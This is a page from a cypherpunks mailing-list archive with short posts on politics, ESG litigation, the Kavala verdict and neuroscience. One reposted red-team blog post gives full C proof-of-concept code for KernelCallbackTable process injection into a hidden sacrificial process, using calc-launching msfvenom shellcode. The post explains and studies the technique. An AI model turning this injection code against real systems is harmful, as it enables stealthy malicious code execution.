April 2022 - cypherpunks - lists.cpunks.org

Predictive coding without dead-pools
by professor rat 26 Apr '22

26 Apr '22

As a mechanistic theory, predictive coding has not been mapped out physiologically on the neuronal level. One of the biggest challenges to the theory has been the imprecision of exactly how prediction error minimization works https://en.wikipedia.org/wiki/Predictive_coding

1 0

Another grotesque senile version of Gramps, yelling incoherent things at a squirrel
by professor rat 26 Apr '22

26 Apr '22

I’m opposed to Trump being reinstated to Twitter, for numerous reasons. You don’t let a deranged villain out of prison and toss him the keys to a car just because you know he’s going to drive it into a tree. But if Trump does return to Twitter, it won’t somehow magically boost Trump’s 2024 prospects. Instead it’ll reveal he never had any 2024 prospects. https://www.palmerreport.com/analysis/the-real-fallout-if-donald-trump-is-r… Reposts not endorsements.

1 0

This sort of thing has happened before
by professor rat 26 Apr '22

26 Apr '22

Four snore and diem years ago a Fedbook was bought forth dedicated to the notion that CIA fascism ought to govern the whole world. Now we are engaged in a great struggle testing whether this proposition - or cryptoanarchism - shall dominate the world. The world will little note what we say here but they can never forget what we did here. Establishing the basis for a globalized society of world peace and plenty. So that cryptoanarchism of for and by people shall never perish from this free netspace. https://stiffs.com/celebrity/markzuckerberg

1 0

Elon Musk wants the identity paperwork of every human on earth available via a USG warrant (to say nothing of FISA 702).
by professor rat 26 Apr '22

26 Apr '22

Elon Musk wants the identity paperwork of every human on earth available via a USG warrant (to say nothing of FISA 702). Musk also confirmed his ' render unto Caesar " stance about compliance with strict laws passed by every local tinpot dictatorship around the world. What a prince this man is. Feh.

1 0

Musky Twitter to ' authenticate all humans '
by professor rat 26 Apr '22

26 Apr '22

Its like Mark Zuckerberg is taking over Twitter. And Donald Dumbfuck sez he won't be back on it. Yeah right. Elon Drax is too stupid to be an activist let alone any sort of anarchist. I wish him luck with a capital " F " - Break a leg, Elon.

1 0

ESG Disputes in England: ClientEarth’s Derivative Action Against Shell’s Board Signals That The English Courts May Be Considered An Increasingly Attractive Forum
by Gunnar Larson 25 Apr '22

25 Apr '22

ClientEarth’s claim The 2021 decision in *Milieudefensie et al. v Royal Dutch Shell plc*, handed down by the Hague District Court, marked the first major case to hold a multinational corporation responsible for environmental damage. While the Netherlands remain some way ahead of England as a forum of choice for ESG-related litigation, recent developments suggest that the position is beginning to change. On 15 March 2022, ClientEarth, a non-profit environmental law organisation that is also a shareholder in Shell plc, took the first steps in commencing a derivative action <https://www.clientearth.org/latest/latest-updates/news/we-re-taking-legal-a…>in England against Shell’s 13 executive and non-executive directors. ClientEarth asserts that Shell’s board of directors is personally liable for the company’s failure to manage its climate risk; that is, to implement a climate strategy that truly aligns with the Paris Agreement, including its failure to produce operating plans and budgets that reflect the company’s “target to become a net-zero emissions energy business by 2050 <https://www.shell.com/media/news-and-media-releases/2021/shell-accelerates-…> ”. Pointing to a number of issues that it describes as “serious shortcomings” ClientEarth asserts that, in failing to manage the company’s climate risk, the board members have purportedly breached their statutory duties under English law, specifically the duty to promote the success of the company pursuant to section 172 of the Companies Act 2006. Section 172 of the Companies Act 2006 provides that a director must act in the way that he considers, in good faith, would be most likely to promote the success of the company for the benefit of its members as a whole. In doing so, directors must have regard to a non-exhaustive list of matters, including the likely consequences of the decision in the long-term and the impact of the company’s operations on the community and the environment. In the present context, where a company’s climate risk poses a foreseeable and material financial risk to the company, and where the board of that company fails to properly consider that risk, or unreasonably fails to act in response to that risk, they could potentially face liability under section 172. What makes ClientEarth’s present claim particularly interesting is that it marks the first attempt to hold a company’s board of directors personally liable for mismanagement of the company’s climate risk. Interestingly, this development comes just a few months after Shell’s shareholders approved the relocation of the company’s headquarters to London from the Netherlands (a decision which, according to various unconfirmed press reports, may have been partly intended to mitigate the company’s exposure to future climate litigation in the Netherlands, bearing in mind the country’s precedent for ESG-related proceedings and following the 2021 *Milieudefensie *decision). At present, the English claim is in its infancy. ClientEarth’s FAQs statement <https://www.clientearth.org/media/puojyzvy/clientearth-shareholder-litigati…> relating to the claim indicates that a pre-action letter has been sent to Shell’s board, notifying it of the claim and giving it an opportunity to respond. ClientEarth has stated that it will review that response, before formally filing the claim in the English High Court. Further recent developments in England In addition, two recent procedural decisions by the Supreme Court have demonstrated the English courts’ willingness to entertain claims that target UK parent companies for the ESG-related transgressions of their foreign subsidiaries. The Supreme Court’s judgments in* Vedanta Resources PLC and another (Appellants) v Lungowe and others (Respondents) <https://www.supremecourt.uk/cases/docs/uksc-2017-0185-judgment.pdf>* [2019] UKSC 20 (“Vedanta”) and *Okpabi & Ors v Royal Dutch Shell plc and Shell Petroleum Development Company of Nigeria Ltd <https://www.supremecourt.uk/cases/docs/uksc-2018-0068-judgment.pdf>* [2021] UKSC 3 (“Okpabi”) confirm that, in certain cases, statements in published documents and policies may provide some basis on which to find UK parent companies liable in tort for harm caused by their subsidiaries in foreign jurisdictions. The claimants in these cases relied on such statements to assert that the parents themselves owed a duty of care in connection with their subsidiaries’ ESG-related breaches. - In *Vedanta*, a group of Zambian citizens brought a claim against Vedanta Resources plc (a UK mining company, formerly listed on the London Stock Exchange) after a mine owned and operated by its Zambian subsidiary (KCM) discharged toxic matter into watercourses used for local irrigation and drinking. The English courts considered that the claimants were able to show a “good arguable case” (based on the specific facts) that Vedanta had exercised a sufficiently high level of supervision and control of activities at the mine so as to owe a duty of care to the claimants, meaning that the English courts had jurisdiction over the claim. In reaching its decision, the Court relied upon various public statements made by Vedanta demonstrating its involvement in KCM management (including a report entitled “Embedding Sustainability” which stated that oversight of all Vedanta’s subsidiaries rested with the Vedanta board, public statements regarding Vedanta’s commitment to addressing group-wide environmental control and sustainability standards, and the existence of a management services agreement between Vedanta and KCM). - In *Okpabi *it was alleged that numerous oil spills had occurred from oil pipelines and infrastructure operated in the vicinity of the claimants’ communities in Nigeria, causing widespread environmental damage including serious water and ground contamination. The claimants asserted that the spills were caused by the negligence of the pipeline operator, a Nigerian registered subsidiary of Royal Dutch Shell Plc, a UK domiciled company and the parent company of the multinational Shell group. Overturning the decision of the Court of Appeal, the Supreme Court held that, based on the specific facts, the UK parent exercised a degree of control over its subsidiary that was sufficient to establish that a duty of care existed. In reaching its decision, the Court placed weight on internal published documents said to demonstrate that the Shell group was deliberately structured in a way that enabled the UK parent to direct, control and intervene in the management of its subsidiaries’ operations. The judgments above relate to jurisdictional challenges where the claimants first needed to establish a “good arguable case” that a duty of care was owed by the UK parent in order that the English courts could then assert jurisdiction over the underlying claims. As at April 2022, neither *Vedanta *or *Okpabi *have been subject to a full trial on the merits and there are no substantive updates, although we continue to monitor developments. More broadly, we anticipate that these decisions will continue to pique the interests of claimant law firms and litigation funders who operate in the ESG sphere and, in due course, encourage similar claims in the English courts.

1 0

Adventures with KernelCallbackTable Injection
by zeynepaydogan 25 Apr '22

25 Apr '22

https://captmeelo.com/redteam/maldev/2022/04/21/kernelcallbacktable-injection.html Adventures with KernelCallbackTable Injection 21 Apr 2022 » [redteam](https://captmeelo.com/category/redteam), [maldev](https://captmeelo.com/category/maldev) Lately, I came across with KernelCallbackTable which could be abused to inject shellcode in a remote process. This method of process injection was used by [FinFisher/FinSpy](https://www.microsoft.com/security/blog/2018/03/01/finfis… and [Lazarus](https://blog.malwarebytes.com/threat-intelligence/2022/01/north-ko…. This post walks through the journey I took and the hurdles I encountered to make process injection via KernelCallbackTable work according to what I wanted. The Problems When I Googled about this technique, the very first result that I got was none other than the [post](https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/) written by [modexpblog](https://twitter.com/modexpblog). So for this experiment, I used the [code](https://github.com/odzhan/injection/blob/master/kct/kct.c) he provided as my basis and slightly modified it. #include <Windows.h> #include <stdio.h> #include "struct.h" int main () { // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char payload [] = " \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00 " ; SIZE_T payloadSize = sizeof ( payload ); // Find a window for explorer.exe HWND hWindow = FindWindow ( L"Shell_TrayWnd" , NULL ); printf ( "[+] Window Handle: 0x%p \n " , hWindow ); // Obtain the process pid and open it DWORD pid ; GetWindowThreadProcessId ( hWindow , & pid ); printf ( "[+] Process ID: %d \n " , pid ); HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ); printf ( "[+] Process Handle: 0x%p \n " , hProcess ); // Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi ; pNtQueryInformationProcess myNtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress ( GetModuleHandle ( L"ntdll.dll" ), "NtQueryInformationProcess" ); myNtQueryInformationProcess ( hProcess , ProcessBasicInformation , & pbi , sizeof ( pbi ), NULL ); PEB peb ; ReadProcessMemory ( hProcess , pbi . PebBaseAddress , & peb , sizeof ( peb ), NULL ); printf ( "[+] PEB Address: 0x%p \n " , pbi . PebBaseAddress ); KERNELCALLBACKTABLE kct ; ReadProcessMemory ( hProcess , peb . KernelCallbackTable , & kct , sizeof ( kct ), NULL ); printf ( "[+] KernelCallbackTable Address: 0x%p \n " , peb . KernelCallbackTable ); // Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx ( hProcess , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ); WriteProcessMemory ( hProcess , payloadAddr , payload , payloadSize , NULL ); printf ( "[+] Payload Address: 0x%p \n " , payloadAddr ); // 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx ( hProcess , NULL , sizeof ( kct ), MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); kct . __fnCOPYDATA = ( ULONG_PTR ) payloadAddr ; WriteProcessMemory ( hProcess , newKCTAddr , & kct , sizeof ( kct ), NULL ); printf ( "[+] __fnCOPYDATA: 0x%p \n " , kct . __fnCOPYDATA ); // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Remote process PEB updated \n " ); // Trigger execution of payload COPYDATASTRUCT cds ; WCHAR msg [] = L"Pwn" ; cds . dwData = 1 ; cds . cbData = lstrlen ( msg ) * 2 ; cds . lpData = msg ; SendMessage ( hWindow , WM_COPYDATA , ( WPARAM ) hWindow , ( LPARAM ) & cds ); printf ( "[+] Payload executed \n " ); // Restore original KernelCallbackTable WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & peb . KernelCallbackTable , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Original KernelCallbackTable restored \n " ); // Release memory for code and data VirtualFreeEx ( hProcess , payloadAddr , 0 , MEM_DECOMMIT | MEM_RELEASE ); VirtualFreeEx ( hProcess , newKCTAddr , 0 , MEM_DECOMMIT | MEM_RELEASE ); // Close handles CloseHandle ( hWindow ); CloseHandle ( hProcess ); printf ( "[+] Cleaned up \n " ); } The above PoC uses explorer.exe as the target process. This is done using the FindWindow() function to get a handle to the window class Shell_TrayWnd, which is associated with explorer.exe. Execution of the payload begins when the SendMessage() function is called. This happens since __fnCOPYDATA, which points to the payload’s address, gets triggered when the WM_COPYDATA message is sent. But why explorer.exe when there are other processes running on the system? That’s because the KernelCallbackTable that is found within the PEB only gets initialized when user32.dll, used by GUI processes, is loaded into the process’ memory. This means processes that do not load user32.dll won’t have the KernelCallbackTable field in the PEB. During my experiment, the PoC didn’t work and it keeps on crashing explorer.exe right after updating the target process’ PEB (by executing the below line of code). While explorer.exe auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when SendMessage() is called. // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); [Explorer Crashed] What if we target other GUI processes? I tried it by getting a handle to the window class Notepad (using the code below) and have notepad.exe run before executing the code. HWND hWindow = FindWindow ( L"Notepad" , NULL ); And it worked! The payload gets executed but the target process still crashed right after the call to SendMessage(). [Payload Executed but Target Process Crashed] The problems I see with this method are: - You have to first enumerate the window classes available on the system. (This is doable with EnumWindows() function.) - The target process crashes no matter what. (I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.) - The crash is visible to the user. Other’s Solution [ORCA666](https://twitter.com/ORCA10K) found a way to solve this issue by not targeting explorer.exe and by loading [user32.dll in memory](https://gitlab.com/ORCA666/kcthijack/-/blob/main/KCTHijack/main.c#L…. However, his approach loads user32.dll in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his [KCTHIJACK](https://gitlab.com/ORCA666/kcthijack) repo. His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process. My Solution Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do. First Attempt: FAILED! To achieve my goal, I used CreateProcess() to spawn an instance of notepad.exe and set the process creation flag dwFlags to CREATE_SUSPENDED to make it “hidden”. CreateProcess ( L"C: \\ Windows \\ System32 \\ notepad.exe" , NULL , NULL , NULL , FALSE , CREATE_SUSPENDED , NULL , NULL , & si , & pi ); Well, that didn’t work because a suspended process does not have any window in it. [Suspened Process has no Window] No window means no handle to obtain so injection and execution of payload are not possible. [ + ] Window Handle: 0x0000000000000000 [ + ] Process ID: 0 [ + ] Process Handle: 0x0000000000000000 [ + ] PEB Address: 0x0000020C2A583CC0 [ + ] KernelCallbackTable Address: 0x0000000000000000 [ + ] Payload Address: 0x0000000000000000 [ + ] __ fnCOPYDATA: 0x0000000000000000 [ + ] Remote process PEB updated [ + ] Payload executed [ + ] Original KernelCallbackTable restored [ + ] Cleaned up Second Attempt: FAILED! (again) Instead of resorting to the CREATE_SUSPENDED flag to hide the created process, I used the dwFlags and wShowWindow members of the STARTUPINFO structure and set their values to the following: si . dwFlags = STARTF_USESHOWWINDOW ; si . wShowWindow = SW_HIDE ; As for the process creation flag, I changed it from CREATE_SUSPENDED to CREATE_NEW_CONSOLE. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen. [Created Process with Window] Third Attempt: SUCCESS! After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A Sleep() function will fix the issue (I tried it and it worked). However, I don’t want to wait until the number of seconds passed in Sleep() lapsed. I used WaitForInputIdle() instead so it will only wait until the process has finished its initialization. WaitForInputIdle ( pi . hProcess , 1000 ); Here’s the final code that I came up with. #include <Windows.h> #include <stdio.h> #include "struct.h" int main () { // msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char payload [] = " \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00 " ; SIZE_T payloadSize = sizeof ( payload ); // Create a sacrifical process PROCESS_INFORMATION pi ; STARTUPINFO si = { sizeof ( STARTUPINFO ) }; si . dwFlags = STARTF_USESHOWWINDOW ; si . wShowWindow = SW_HIDE ; CreateProcess ( L"C: \\ Windows \\ System32 \\ notepad.exe" , NULL , NULL , NULL , FALSE , CREATE_NEW_CONSOLE , NULL , NULL , & si , & pi ); // Wait for process initialization WaitForInputIdle ( pi . hProcess , 1000 ); // Find a window for explorer.exe HWND hWindow = FindWindow ( L"Notepad" , NULL ); printf ( "[+] Window Handle: 0x%p \n " , hWindow ); // Obtain the process pid and open it DWORD pid ; GetWindowThreadProcessId ( hWindow , & pid ); printf ( "[+] Process ID: %d \n " , pid ); HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ); printf ( "[+] Process Handle: 0x%p \n " , hProcess ); // Read PEB and KernelCallBackTable addresses PROCESS_BASIC_INFORMATION pbi ; pNtQueryInformationProcess myNtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress ( GetModuleHandle ( L"ntdll.dll" ), "NtQueryInformationProcess" ); myNtQueryInformationProcess ( hProcess , ProcessBasicInformation , & pbi , sizeof ( pbi ), NULL ); PEB peb ; ReadProcessMemory ( hProcess , pbi . PebBaseAddress , & peb , sizeof ( peb ), NULL ); printf ( "[+] PEB Address: 0x%p \n " , pbi . PebBaseAddress ); KERNELCALLBACKTABLE kct ; ReadProcessMemory ( hProcess , peb . KernelCallbackTable , & kct , sizeof ( kct ), NULL ); printf ( "[+] KernelCallbackTable Address: 0x%p \n " , peb . KernelCallbackTable ); // Write the payload to remote process LPVOID payloadAddr = VirtualAllocEx ( hProcess , NULL , payloadSize , MEM_RESERVE | MEM_COMMIT , PAGE_EXECUTE_READWRITE ); WriteProcessMemory ( hProcess , payloadAddr , payload , payloadSize , NULL ); printf ( "[+] Payload Address: 0x%p \n " , payloadAddr ); // 4. Write the new table to the remote process LPVOID newKCTAddr = VirtualAllocEx ( hProcess , NULL , sizeof ( kct ), MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); kct . __fnCOPYDATA = ( ULONG_PTR ) payloadAddr ; WriteProcessMemory ( hProcess , newKCTAddr , & kct , sizeof ( kct ), NULL ); printf ( "[+] __fnCOPYDATA: 0x%p \n " , kct . __fnCOPYDATA ); // Update the PEB WriteProcessMemory ( hProcess , ( PBYTE ) pbi . PebBaseAddress + offsetof ( PEB , KernelCallbackTable ), & newKCTAddr , sizeof ( ULONG_PTR ), NULL ); printf ( "[+] Remote process PEB updated \n " ); // Trigger execution of payload COPYDATASTRUCT cds ; WCHAR msg [] = L"Pwn" ; cds . dwData = 1 ; cds . cbData = lstrlen ( msg ) * 2 ; cds . lpData = msg ; SendMessage ( hWindow , WM_COPYDATA , ( WPARAM ) hWindow , ( LPARAM ) & cds ); printf ( "[+] Payload executed \n " ); } > NOTE: I already removed the cleanup code (like restoring the original KernelCallbackTable) because they don’t matter anymore since the target process has already crashed and exited. > The full project can be found [here](https://github.com/capt-meelo/KernelCallbackTable-Injection). And here it is in action. [Successful KernelCallbackTable Injection] Conclusion That’s it! That is how I modified the base PoC to make KernelCallbackTable process injection work according to what I wanted. If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)

3 4

#FreeSpeech Turkish court sentences Kavala to life imprisonment
by zeynepaydogan 25 Apr '22

25 Apr '22

https://www.reuters.com/world/middle-east/turkish-court-sentences-kavala-life-imprisonment-2022-04-25/ Since I was a minor, I've been volunteering for NGOs like Kavala.The Turkish court sentenced Osman Kavala to life imprisonment today. As a Turk,I believe in activism and freespeech. Osman Kavala is a true friend to human rights defenders

1 0

#FreeSpeech Kulturförderer Osman Kavala zu lebenslanger Haft verurteilt
by zeynepaydogan 25 Apr '22

25 Apr '22

https://www.zeit.de/politik/ausland/2022-04/tuerkei?utm_referrer=https%3A%2… Der türkische Kulturförderer Osman Kavala ist von einem[Istanbuler Gericht](https://www.zeit.de/thema/tuerkei)zu einer lebenslangen Haftstrafe verurteilt worden. Die drei Richter erließen das Urteil gegen 64-Jährigen wegen des Vorwurfs des versuchten Umsturzes der Regierung und ohne Möglichkeit auf Bewährung. Kavala ist seit vier Jahren im Hochsicherheitsgefängnis Sivrili nahe[Istanbul](https://www.zeit.de/thema/istanbul)inhaftiert, ohne dass bislang ein Urteil gegen ihn verhängt worden war. Ihm werden in einem Prozess in Istanbul ein Umsturzversuch im Zusammenhang mit den Gezi-Protesten sowie "politische und militärische Spionage" im Zusammenhang mit dem Putschversuch von 2016 vorgeworfen. Kavala weist die Vorwürfe strikt zurück. Auch in der letzten Verhandlung Ende März wies die gegen ihn erhobenen Anschuldigungen erneut zurück und bezeichnete sie als politisch motiviert."Meine andauernde Inhaftierung ist völlig unbegründet", sagte er. Das Urteil gegen Kavala wurde[dabei erneut vertagt](https://www.zeit.de/politik/ausland/2022-03/tuerkei-osman-kavala-urteil-untersuchungshaft). Auch in der letzten Verhandlung Ende März wies die gegen ihn erhobenen Anschuldigungen erneut zurück und bezeichnete sie als politisch motiviert. "Meine andauernde Inhaftierung ist völlig unbegründet", sagte er. Das Urteil gegen Kavala wurde[dabei erneut vertagt](https://www.zeit.de/politik/ausland/2022-03/tuerkei-osman-kavala-urteil-untersuchungshaft). "Die türkische Justiz ist am Ende" Deutsche Politiker kritisierten die Verurteilung. "Das Urteil gegen Osman Kavala und die anderen Angeklagten im Gezi-Verfahren fußt allein auf Lügen und Verschwörungstheorien", twitterte Bundesagrarminister Cem Özdemir. "Wir mussten hier einen politischen Schauprozess beobachten der seinesgleichen sucht. Die türkische Justiz ist am Ende." Auch internationale Regierungen sowie Menschenrechtsorganisationen [kritisieren den Fall](https://www.zeit.de/politik/ausland/2021-10/tayyib-erdogan-fall-osman-kavala-aussenpolitik-eskalation-botschafter-tuerkei) seit Jahren. Das Verfahren zeige, "wie schlecht es um die Rechtsstaatlichkeit in der Türkei bestellt ist", teilte Amnesty International im vergangenen März mit. Kavala werde "aufgrund unbegründeter Anschuldigungen willkürlich in einer Einrichtung weit weg von seiner Familie festgehalten". Auch internationale Regierungen sowie Menschenrechtsorganisationen [kritisieren den Fall](https://www.zeit.de/politik/ausland/2021-10/tayyib-erdogan-fall-osman-kavala-aussenpolitik-eskalation-botschafter-tuerkei) seit Jahren. Das Verfahren zeige, "wie schlecht es um die Rechtsstaatlichkeit in der Türkei bestellt ist", teilte Amnesty International im vergangenen März mit. Kavala werde "aufgrund unbegründeter Anschuldigungen willkürlich in einer Einrichtung weit weg von seiner Familie festgehalten". Im Herbst 2021 hatte der türkische Recep Tayyip Erdoğan mehrere westliche Botschafter, darunter aus den USA und aus Deutschland, mit der [Ausweisung](https://www.zeit.de/politik/deutschland/2021-10/osman-kavala-praesident-erdogan-botschafter-deutschland-usa-tuerkei) gedroht, nachdem sie sich für die Freilassung Kavalas eingesetzt hatten. Im letzten Moment rückte er jedoch [von dieser Maßnahme ab](https://www.zeit.de/politik/ausland/2021-10/tuerkei-ausweisung-deutscher-botschafter-bundesregierung-kritik-recep-tayyip-erdogan). Der Europarat leitete wegen Kavalas unrechtmäßiger Inhaftierung zudem ein Vertragsverletzungsverfahren gegen die [Türkei](https://www.zeit.de/thema/tuerkei) ein. Die[Türkei](https://www.zeit.de/thema/tuerkei)hatte zuvor eine [Anordnung](https://www.zeit.de/politik/ausland/2022-01/tuerkei-osman-kavala-europarat-verletzungsverfahren-haft-freilassung) des Europäischen Gerichtshofs für Menschenrechte (EGMR) zu Kavalas Freilassung ignoriert. Auch internationale Regierungen sowie Menschenrechtsorganisationen [kritisieren den Fall](https://www.zeit.de/politik/ausland/2021-10/tayyib-erdogan-fall-osman-kavala-aussenpolitik-eskalation-botschafter-tuerkei) seit Jahren. Das Verfahren zeige, "wie schlecht es um die Rechtsstaatlichkeit in der Türkei bestellt ist", teilte Amnesty International im vergangenen März mit. Kavala werde "aufgrund unbegründeter Anschuldigungen willkürlich in einer Einrichtung weit weg von seiner Familie festgehalten". Im Herbst 2021 hatte der türkische Recep Tayyip Erdoğan mehrere westliche Botschafter, darunter aus den USA und aus Deutschland, mit der [Ausweisung](https://www.zeit.de/politik/deutschland/2021-10/osman-kavala-praesident-erdogan-botschafter-deutschland-usa-tuerkei) gedroht, nachdem sie sich für die Freilassung Kavalas eingesetzt hatten. Im letzten Moment rückte er jedoch [von dieser Maßnahme ab](https://www.zeit.de/politik/ausland/2021-10/tuerkei-ausweisung-deutscher-botschafter-bundesregierung-kritik-recep-tayyip-erdogan). Der Europarat leitete wegen Kavalas unrechtmäßiger Inhaftierung zudem ein Vertragsverletzungsverfahren gegen die [Türkei](https://www.zeit.de/thema/tuerkei) ein. Die[Türkei](https://www.zeit.de/thema/tuerkei)hatte zuvor eine [Anordnung](https://www.zeit.de/politik/ausland/2022-01/tuerkei-osman-kavala-europarat-verletzungsverfahren-haft-freilassung) des Europäischen Gerichtshofs für Menschenrechte (EGMR) zu Kavalas Freilassung ignoriert.

1 0

Bayesian physics right up Mongs alley
by professor rat 25 Apr '22

25 Apr '22

At the 2021 Brain Connectivity Workshop, Friston asserted he has done nothing less than found a fourth branch of physics. You have Newtonian mechanics, quantum mechanics, and statistical mechanics (that is, thermodynamics), and now you can have Bayesian mechanics—the physics of systems which can exert a predictive control over their worlds. https://marginalrevolution.com/marginalrevolution/2022/04/fristons-theory-o…

1 0